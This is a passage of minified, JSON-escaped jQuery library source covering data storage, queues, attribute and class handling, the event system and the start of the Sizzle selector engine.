r?t=[t]:t=t.split(\" \")));for(i=0,s=t.length;i\u003cs;i++)delete r[t[i]];if(!(n?B:v.isEmptyObject)(r))return}}if(!n){delete u[a].data;if(!B(u[a]))return}o?v.cleanData([e],!0):v.support.deleteExpando||u!=u.window?delete u[a]:u[a]=null},_data:function(e,t,n){return v.data(e,t,n,!0)},acceptData:function(e){var t=e.nodeName\u0026\u0026v.noData[e.nodeName.toLowerCase()];return!t||t!==!0\u0026\u0026e.getAttribute(\"classid\")===t}}),v.fn.extend({data:function(e,n){var r,i,s,o,u,a=this[0],f=0,l=null;if(e===t){if(this.length){l=v.data(a);if(a.nodeType===1\u0026\u0026!v._data(a,\"parsedAttrs\")){s=a.attributes;for(u=s.length;f\u003cu;f++)o=s[f].name,o.indexOf(\"data-\")||(o=v.camelCase(o.substring(5)),H(a,o,l[o]));v._data(a,\"parsedAttrs\",!0)}}return l}return typeof e==\"object\"?this.each(function(){v.data(this,e)}):(r=e.split(\".\",2),r[1]=r[1]?\".\"+r[1]:\"\",i=r[1]+\"!\",v.access(this,function(n){if(n===t)return l=this.triggerHandler(\"getData\"+i,[r[0]]),l===t\u0026\u0026a\u0026\u0026(l=v.data(a,e),l=H(a,e,l)),l===t\u0026\u0026r[1]?this.data(r[0]):l;r[1]=n,this.each(function(){var t=v(this);t.triggerHandler(\"setData\"+i,r),v.data(this,e,n),t.triggerHandler(\"changeData\"+i,r)})},null,n,arguments.length\u003e1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||\"fx\")+\"queue\",r=v._data(e,t),n\u0026\u0026(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||\"fx\";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i===\"inprogress\"\u0026\u0026(i=n.shift(),r--),i\u0026\u0026(t===\"fx\"\u0026\u0026n.unshift(\"inprogress\"),delete s.stop,i.call(e,o,s)),!r\u0026\u0026s\u0026\u0026s.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks(\"once memory\").add(function(){v.removeData(e,t+\"queue\",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!=\"string\"\u0026\u0026(n=e,e=\"fx\",r--),arguments.length\u003cr?v.queue(this[0],e):n===t?this:this.each(function(){var t=v.queue(this,e,n);v._queueHooks(this,e),e===\"fx\"\u0026\u0026t[0]!==\"inprogress\"\u0026\u0026v.dequeue(this,e)})},dequeue:function(e){return this.each(function(){v.dequeue(this,e)})},delay:function(e,t){return e=v.fx?v.fx.speeds[e]||e:e,t=t||\"fx\",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,n){var r,i=1,s=v.Deferred(),o=this,u=this.length,a=function(){--i||s.resolveWith(o,[o])};typeof e!=\"string\"\u0026\u0026(n=e,e=t),e=e||\"fx\";while(u--)r=v._data(o[u],e+\"queueHooks\"),r\u0026\u0026r.empty\u0026\u0026(i++,r.empty.add(a));return a(),s.promise(n)}});var j,F,I,q=/[\\t\\r\\n]/g,R=/\\r/g,U=/^(?:button|input)$/i,z=/^(?:button|input|object|select|textarea)$/i,W=/^a(?:rea|)$/i,X=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,V=v.support.getSetAttribute;v.fn.extend({attr:function(e,t){return v.access(this,v.attr,e,t,arguments.length\u003e1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length\u003e1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e\u0026\u0026typeof e==\"string\"){t=e.split(y);for(n=0,r=this.length;n\u003cr;n++){i=this[n];if(i.nodeType===1)if(!i.className\u0026\u0026t.length===1)i.className=e;else{s=\" \"+i.className+\" \";for(o=0,u=t.length;o\u003cu;o++)s.indexOf(\" \"+t[o]+\" \")\u003c0\u0026\u0026(s+=t[o]+\" \");i.className=v.trim(s)}}}return this},removeClass:function(e){var n,r,i,s,o,u,a;if(v.isFunction(e))return this.each(function(t){v(this).removeClass(e.call(this,t,this.className))});if(e\u0026\u0026typeof e==\"string\"||e===t){n=(e||\"\").split(y);for(u=0,a=this.length;u\u003ca;u++){i=this[u];if(i.nodeType===1\u0026\u0026i.className){r=(\" \"+i.className+\" \").replace(q,\" \");for(s=0,o=n.length;s\u003co;s++)while(r.indexOf(\" \"+n[s]+\" \")\u003e=0)r=r.replace(\" \"+n[s]+\" \",\" \");i.className=e?v.trim(r):\"\"}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t==\"boolean\";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n===\"string\"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?\"addClass\":\"removeClass\"](i)}else if(n===\"undefined\"||n===\"boolean\")this.className\u0026\u0026v._data(this,\"__className__\",this.className),this.className=this.className||e===!1?\"\":v._data(this,\"__className__\")||\"\"})},hasClass:function(e){var t=\" \"+e+\" \",n=0,r=this.length;for(;n\u003cr;n++)if(this[n].nodeType===1\u0026\u0026(\" \"+this[n].className+\" \").replace(q,\" \").indexOf(t)\u003e=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n\u0026\u0026\"get\"in n\u0026\u0026(r=n.get(s,\"value\"))!==t?r:(r=s.value,typeof r==\"string\"?r.replace(R,\"\"):r==null?\"\":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s=\"\":typeof s==\"number\"?s+=\"\":v.isArray(s)\u0026\u0026(s=v.map(s,function(e){return e==null?\"\":e+\"\"})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!(\"set\"in n)||n.set(this,s,\"value\")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type===\"select-one\"||i\u003c0,o=s?null:[],u=s?i+1:r.length,a=i\u003c0?u:s?i:0;for(;a\u003cu;a++){n=r[a];if((n.selected||a===i)\u0026\u0026(v.support.optDisabled?!n.disabled:n.getAttribute(\"disabled\")===null)\u0026\u0026(!n.parentNode.disabled||!v.nodeName(n.parentNode,\"optgroup\"))){t=v(n).val();if(s)return t;o.push(t)}}return o},set:function(e,t){var n=v.makeArray(t);return v(e).find(\"option\").each(function(){this.selected=v.inArray(v(this).val(),n)\u003e=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i\u0026\u0026v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute==\"undefined\")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u\u0026\u0026(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o\u0026\u0026\"set\"in o\u0026\u0026u\u0026\u0026(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+\"\"),r)}return o\u0026\u0026\"get\"in o\u0026\u0026u\u0026\u0026(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t\u0026\u0026e.nodeType===1){r=t.split(y);for(;o\u003cr.length;o++)i=r[o],i\u0026\u0026(n=v.propFix[i]||i,s=X.test(i),s||v.attr(e,i,\"\"),e.removeAttribute(V?i:n),s\u0026\u0026n in e\u0026\u0026(e[n]=!1))}},attrHooks:{type:{set:function(e,t){if(U.test(e.nodeName)\u0026\u0026e.parentNode)v.error(\"type property can't be changed\");else if(!v.support.radioValue\u0026\u0026t===\"radio\"\u0026\u0026v.nodeName(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n\u0026\u0026(e.value=n),t}}},value:{get:function(e,t){return j\u0026\u0026v.nodeName(e,\"button\")?j.get(e,t):t in e?e.value:null},set:function(e,t,n){if(j\u0026\u0026v.nodeName(e,\"button\"))return j.set(e,t,n);e.value=t}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(e,n,r){var i,s,o,u=e.nodeType;if(!e||u===3||u===8||u===2)return;return o=u!==1||!v.isXMLDoc(e),o\u0026\u0026(n=v.propFix[n]||n,s=v.propHooks[n]),r!==t?s\u0026\u0026\"set\"in s\u0026\u0026(i=s.set(e,r,n))!==t?i:e[n]=r:s\u0026\u0026\"get\"in s\u0026\u0026(i=s.get(e,n))!==null?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode(\"tabindex\");return n\u0026\u0026n.specified?parseInt(n.value,10):z.test(e.nodeName)||W.test(e.nodeName)\u0026\u0026e.href?0:t}}}}),F={get:function(e,n){var r,i=v.prop(e,n);return i===!0||typeof i!=\"boolean\"\u0026\u0026(r=e.getAttributeNode(n))\u0026\u0026r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]||n,r in e\u0026\u0026(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V||(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r\u0026\u0026(I[n]?r.value!==\"\":r.specified)?r.value:t},set:function(e,t,n){var r=e.getAttributeNode(n);return r||(r=i.createAttribute(n),e.setAttributeNode(r)),r.value=t+\"\"}},v.each([\"width\",\"height\"],function(e,t){v.attrHooks[t]=v.extend(v.attrHooks[t],{set:function(e,n){if(n===\"\")return e.setAttribute(t,\"auto\"),n}})}),v.attrHooks.contenteditable={get:j.get,set:function(e,t,n){t===\"\"\u0026\u0026(t=\"false\"),j.set(e,t,n)}}),v.support.hrefNormalized||v.each([\"href\",\"src\",\"width\",\"height\"],function(e,n){v.attrHooks[n]=v.extend(v.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),v.support.style||(v.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=t+\"\"}}),v.support.optSelected||(v.propHooks.selected=v.extend(v.propHooks.selected,{get:function(e){var t=e.parentNode;return t\u0026\u0026(t.selectedIndex,t.parentNode\u0026\u0026t.parentNode.selectedIndex),null}})),v.support.enctype||(v.propFix.enctype=\"encoding\"),v.support.checkOn||v.each([\"radio\",\"checkbox\"],function(){v.valHooks[this]={get:function(e){return e.getAttribute(\"value\")===null?\"on\":e.value}}}),v.each([\"radio\",\"checkbox\"],function(){v.valHooks[this]=v.extend(v.valHooks[this],{set:function(e,t){if(v.isArray(t))return e.checked=v.inArray(v(e).val(),t)\u003e=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\\.]*|)(?:\\.(.+)|)$/,K=/(?:^|\\s)hover(\\.\\S+|)\\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,\"mouseenter$1 mouseleave$1\")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler\u0026\u0026(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v==\"undefined\"||!!e\u0026\u0026v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(\" \");for(f=0;f\u003cn.length;f++){l=J.exec(n[f])||[],c=l[1],h=(l[2]||\"\").split(\".\").sort(),g=v.event.special[c]||{},c=(s?g.delegateType:g.bindType)||c,g=v.event.special[c]||{},p=v.extend({type:c,origType:l[1],data:i,handler:r,guid:r.guid,selector:s,needsContext:s\u0026\u0026v.expr.match.needsContext.test(s),namespace:h.join(\".\")},d),m=a[c];if(!m){m=a[c]=[],m.delegateCount=0;if(!g.setup||g.setup.call(e,i,h,u)===!1)e.addEventListener?e.addEventListener(c,u,!1):e.attachEvent\u0026\u0026e.attachEvent(\"on\"+c,u)}g.add\u0026\u0026(g.add.call(e,p),p.handler.guid||(p.handler.guid=r.guid)),s?m.splice(m.delegateCount++,0,p):m.push(p),v.event.global[c]=!0}e=null},global:{},remove:function(e,t,n,r,i){var s,o,u,a,f,l,c,h,p,d,m,g=v.hasData(e)\u0026\u0026v._data(e);if(!g||!(h=g.events))return;t=v.trim(Z(t||\"\")).split(\" \");for(s=0;s\u003ct.length;s++){o=J.exec(t[s])||[],u=a=o[1],f=o[2];if(!u){for(u in h)v.event.remove(e,u+t[s],n,r,!0);continue}p=v.event.special[u]||{},u=(r?p.delegateType:p.bindType)||u,d=h[u]||[],l=d.length,f=f?new RegExp(\"(^|\\\\.)\"+f.split(\".\").sort().join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null;for(c=0;c\u003cd.length;c++)m=d[c],(i||a===m.origType)\u0026\u0026(!n||n.guid===m.guid)\u0026\u0026(!f||f.test(m.namespace))\u0026\u0026(!r||r===m.selector||r===\"**\"\u0026\u0026m.selector)\u0026\u0026(d.splice(c--,1),m.selector\u0026\u0026d.delegateCount--,p.remove\u0026\u0026p.remove.call(e,m));d.length===0\u0026\u0026l!==d.length\u0026\u0026((!p.teardown||p.teardown.call(e,f,g.handle)===!1)\u0026\u0026v.removeEvent(e,u,g.handle),delete h[u])}v.isEmptyObject(h)\u0026\u0026(delete g.handle,v.removeData(e,\"events\",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(n,r,s,o){if(!s||s.nodeType!==3\u0026\u0026s.nodeType!==8){var u,a,f,l,c,h,p,d,m,g,y=n.type||n,b=[];if(Y.test(y+v.event.triggered))return;y.indexOf(\"!\")\u003e=0\u0026\u0026(y=y.slice(0,-1),a=!0),y.indexOf(\".\")\u003e=0\u0026\u0026(b=y.split(\".\"),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])\u0026\u0026!v.event.global[y])return;n=typeof n==\"object\"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join(\".\"),n.namespace_re=n.namespace?new RegExp(\"(^|\\\\.)\"+b.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,h=y.indexOf(\":\")\u003c0?\"on\"+y:\"\";if(!s){u=v.cache;for(f in u)u[f].events\u0026\u0026u[f].events[y]\u0026\u0026v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger\u0026\u0026p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o\u0026\u0026!p.noBubble\u0026\u0026!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)\u0026\u0026m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f\u003cm.length\u0026\u0026!n.isPropagationStopped();f++)l=m[f][0],n.type=m[f][1],d=(v._data(l,\"events\")||{})[n.type]\u0026\u0026v._data(l,\"handle\"),d\u0026\u0026d.apply(l,r),d=h\u0026\u0026l[h],d\u0026\u0026v.acceptData(l)\u0026\u0026d.apply\u0026\u0026d.apply(l,r)===!1\u0026\u0026n.preventDefault();return n.type=y,!o\u0026\u0026!n.isDefaultPrevented()\u0026\u0026(!p._default||p._default.apply(s.ownerDocument,r)===!1)\u0026\u0026(y!==\"click\"||!v.nodeName(s,\"a\"))\u0026\u0026v.acceptData(s)\u0026\u0026h\u0026\u0026s[y]\u0026\u0026(y!==\"focus\"\u0026\u0026y!==\"blur\"||n.target.offsetWidth!==0)\u0026\u0026!v.isWindow(s)\u0026\u0026(c=s[h],c\u0026\u0026(s[h]=null),v.event.triggered=y,s[y](),v.event.triggered=t,c\u0026\u0026(s[h]=c)),n.result}return},dispatch:function(n){n=v.event.fix(n||e.event);var r,i,s,o,u,a,f,c,h,p,d=(v._data(this,\"events\")||{})[n.type]||[],m=d.delegateCount,g=l.call(arguments),y=!n.exclusive\u0026\u0026!n.namespace,b=v.event.special[n.type]||{},w=[];g[0]=n,n.delegateTarget=this;if(b.preDispatch\u0026\u0026b.preDispatch.call(this,n)===!1)return;if(m\u0026\u0026(!n.button||n.type!==\"click\"))for(s=n.target;s!=this;s=s.parentNode||this)if(s.disabled!==!0||n.type!==\"click\"){u={},f=[];for(r=0;r\u003cm;r++)c=d[r],h=c.selector,u[h]===t\u0026\u0026(u[h]=c.needsContext?v(h,this).index(s)\u003e=0:v.find(h,this,null,[s]).length),u[h]\u0026\u0026f.push(c);f.length\u0026\u0026w.push({elem:s,matches:f})}d.length\u003em\u0026\u0026w.push({elem:this,matches:d.slice(m)});for(r=0;r\u003cw.length\u0026\u0026!n.isPropagationStopped();r++){a=w[r],n.currentTarget=a.elem;for(i=0;i\u003ca.matches.length\u0026\u0026!n.isImmediatePropagationStopped();i++){c=a.matches[i];if(y||!n.namespace\u0026\u0026!c.namespace||n.namespace_re\u0026\u0026n.namespace_re.test(c.namespace))n.data=c.data,n.handleObj=c,o=((v.event.special[c.origType]||{}).handle||c.handler).apply(a.elem,g),o!==t\u0026\u0026(n.result=o,o===!1\u0026\u0026(n.preventDefault(),n.stopPropagation()))}}return b.postDispatch\u0026\u0026b.postDispatch.call(this,n),n.result},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(e,t){return e.which==null\u0026\u0026(e.which=t.charCode!=null?t.charCode:t.keyCode),e}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(e,n){var r,s,o,u=n.button,a=n.fromElement;return e.pageX==null\u0026\u0026n.clientX!=null\u0026\u0026(r=e.target.ownerDocument||i,s=r.documentElement,o=r.body,e.pageX=n.clientX+(s\u0026\u0026s.scrollLeft||o\u0026\u0026o.scrollLeft||0)-(s\u0026\u0026s.clientLeft||o\u0026\u0026o.clientLeft||0),e.pageY=n.clientY+(s\u0026\u0026s.scrollTop||o\u0026\u0026o.scrollTop||0)-(s\u0026\u0026s.clientTop||o\u0026\u0026o.clientTop||0)),!e.relatedTarget\u0026\u0026a\u0026\u0026(e.relatedTarget=a===e.target?n.toElement:a),!e.which\u0026\u0026u!==t\u0026\u0026(e.which=u\u00261?1:u\u00262?3:u\u00264?2:0),e}},fix:function(e){if(e[v.expando])return e;var t,n,r=e,s=v.event.fixHooks[e.type]||{},o=s.props?this.props.concat(s.props):this.props;e=v.Event(r);for(t=o.length;t;)n=o[--t],e[n]=r[n];return e.target||(e.target=r.srcElement||i),e.target.nodeType===3\u0026\u0026(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,r):e},special:{load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(e,t,n){v.isWindow(this)\u0026\u0026(this.onbeforeunload=n)},teardown:function(e,t){this.onbeforeunload===t\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(e,t,n,r){var i=v.extend(new v.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?v.event.trigger(i,null,t):v.event.dispatch.call(t,i),i.isDefaultPrevented()\u0026\u0026n.preventDefault()}},v.event.handle=v.event.dispatch,v.removeEvent=i.removeEventListener?function(e,t,n){e.removeEventListener\u0026\u0026e.removeEventListener(t,n,!1)}:function(e,t,n){var r=\"on\"+t;e.detachEvent\u0026\u0026(typeof e[r]==\"undefined\"\u0026\u0026(e[r]=null),e.detachEvent(r,n))},v.Event=function(e,t){if(!(this instanceof v.Event))return new v.Event(e,t);e\u0026\u0026e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault\u0026\u0026e.getPreventDefault()?tt:et):this.type=e,t\u0026\u0026v.extend(this,t),this.timeStamp=e\u0026\u0026e.timeStamp||v.now(),this[v.expando]=!0},v.Event.prototype={preventDefault:function(){this.isDefaultPrevented=tt;var e=this.originalEvent;if(!e)return;e.preventDefault?e.preventDefault():e.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=tt;var e=this.originalEvent;if(!e)return;e.stopPropagation\u0026\u0026e.stopPropagation(),e.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=tt,this.stopPropagation()},isDefaultPrevented:et,isPropagationStopped:et,isImmediatePropagationStopped:et},v.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(e,t){v.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj,o=s.selector;if(!i||i!==r\u0026\u0026!v.contains(r,i))e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t;return n}}}),v.support.submitBubbles||(v.event.special.submit={setup:function(){if(v.nodeName(this,\"form\"))return!1;v.event.add(this,\"click._submit keypress._submit\",function(e){var n=e.target,r=v.nodeName(n,\"input\")||v.nodeName(n,\"button\")?n.form:t;r\u0026\u0026!v._data(r,\"_submit_attached\")\u0026\u0026(v.event.add(r,\"submit._submit\",function(e){e._submit_bubble=!0}),v._data(r,\"_submit_attached\",!0))})},postDispatch:function(e){e._submit_bubble\u0026\u0026(delete e._submit_bubble,this.parentNode\u0026\u0026!e.isTrigger\u0026\u0026v.event.simulate(\"submit\",this.parentNode,e,!0))},teardown:function(){if(v.nodeName(this,\"form\"))return!1;v.event.remove(this,\"._submit\")}}),v.support.changeBubbles||(v.event.special.change={setup:function(){if($.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")v.event.add(this,\"propertychange._change\",function(e){e.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),v.event.add(this,\"click._change\",function(e){this._just_changed\u0026\u0026!e.isTrigger\u0026\u0026(this._just_changed=!1),v.event.simulate(\"change\",this,e,!0)});return!1}v.event.add(this,\"beforeactivate._change\",function(e){var t=e.target;$.test(t.nodeName)\u0026\u0026!v._data(t,\"_change_attached\")\u0026\u0026(v.event.add(t,\"change._change\",function(e){this.parentNode\u0026\u0026!e.isSimulated\u0026\u0026!e.isTrigger\u0026\u0026v.event.simulate(\"change\",this.parentNode,e,!0)}),v._data(t,\"_change_attached\",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||t.type!==\"radio\"\u0026\u0026t.type!==\"checkbox\")return e.handleObj.handler.apply(this,arguments)},teardown:function(){return v.event.remove(this,\"._change\"),!$.test(this.nodeName)}}),v.support.focusinBubbles||v.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){var n=0,r=function(e){v.event.simulate(t,e.target,v.event.fix(e),!0)};v.event.special[t]={setup:function(){n++===0\u0026\u0026i.addEventListener(e,r,!0)},teardown:function(){--n===0\u0026\u0026i.removeEventListener(e,r,!0)}}}),v.fn.extend({on:function(e,n,r,i,s){var o,u;if(typeof e==\"object\"){typeof n!=\"string\"\u0026\u0026(r=r||n,n=t);for(u in e)this.on(u,n,r,e[u],s);return this}r==null\u0026\u0026i==null?(i=n,r=n=t):i==null\u0026\u0026(typeof n==\"string\"?(i=r,r=t):(i=r,r=n,n=t));if(i===!1)i=et;else if(!i)return this;return s===1\u0026\u0026(o=i,i=function(e){return v().off(e),o.apply(this,arguments)},i.guid=o.guid||(o.guid=v.guid++)),this.each(function(){v.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,s;if(e\u0026\u0026e.preventDefault\u0026\u0026e.handleObj)return i=e.handleObj,v(e.delegateTarget).off(i.namespace?i.origType+\".\"+i.namespace:i.origType,i.selector,i.handler),this;if(typeof e==\"object\"){for(s in e)this.off(s,n,e[s]);return this}if(n===!1||typeof n==\"function\")r=n,n=t;return r===!1\u0026\u0026(r=et),this.each(function(){v.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},live:function(e,t,n){return v(this.context).on(e,this.selector,t,n),this},die:function(e,t){return v(this.context).off(e,this.selector||\"**\",t),this},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return arguments.length===1?this.off(e,\"**\"):this.off(t,e||\"**\",n)},trigger:function(e,t){return this.each(function(){v.event.trigger(e,t,this)})},triggerHandler:function(e,t){if(this[0])return v.event.trigger(e,t,this[0],!0)},toggle:function(e){var t=arguments,n=e.guid||v.guid++,r=0,i=function(n){var i=(v._data(this,\"lastToggle\"+e.guid)||0)%r;return v._data(this,\"lastToggle\"+e.guid,i+1),n.preventDefault(),t[i].apply(this,arguments)||!1};i.guid=n;while(r\u003ct.length)t[r++].guid=n;return this.click(i)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),v.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(e,t){v.fn[t]=function(e,n){return n==null\u0026\u0026(n=e,e=null),arguments.length\u003e0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)\u0026\u0026(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)\u0026\u0026(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!=\"string\")return n;if(l!==1\u0026\u0026l!==9)return[];a=o(t);if(!a\u0026\u0026!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument\u0026\u0026(s=t.ownerDocument.getElementById(f))\u0026\u0026u(t,s)\u0026\u0026s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])\u0026\u0026Z\u0026\u0026t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,\"$1\"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n===\"input\"\u0026\u0026t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n===\"input\"||n===\"button\")\u0026\u0026t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]\u0026\u0026(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+\" \"];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r\u0026\u0026(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j,\" \");for(o in i.filter)(r=J[o].exec(u))\u0026\u0026(!f[o]||(r=f[o](r)))\u0026\u0026(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r\u0026\u0026t.dir===\"parentNode\",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+\" \"+o+\" \",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a==\"string\"\u0026\u0026a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length\u003e1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u\u003ca;u++)if(s=e[u])if(!n||n(s,r,i))o.push(s),f\u0026\u0026t.push(u);return o}function ct(e,t,n,r,i,s){return r\u0026\u0026!r[d]\u0026\u0026(r=ct(r)),i\u0026\u0026!i[d]\u0026\u0026(i=ct(i,s)),N(function(s,o,u,a){var 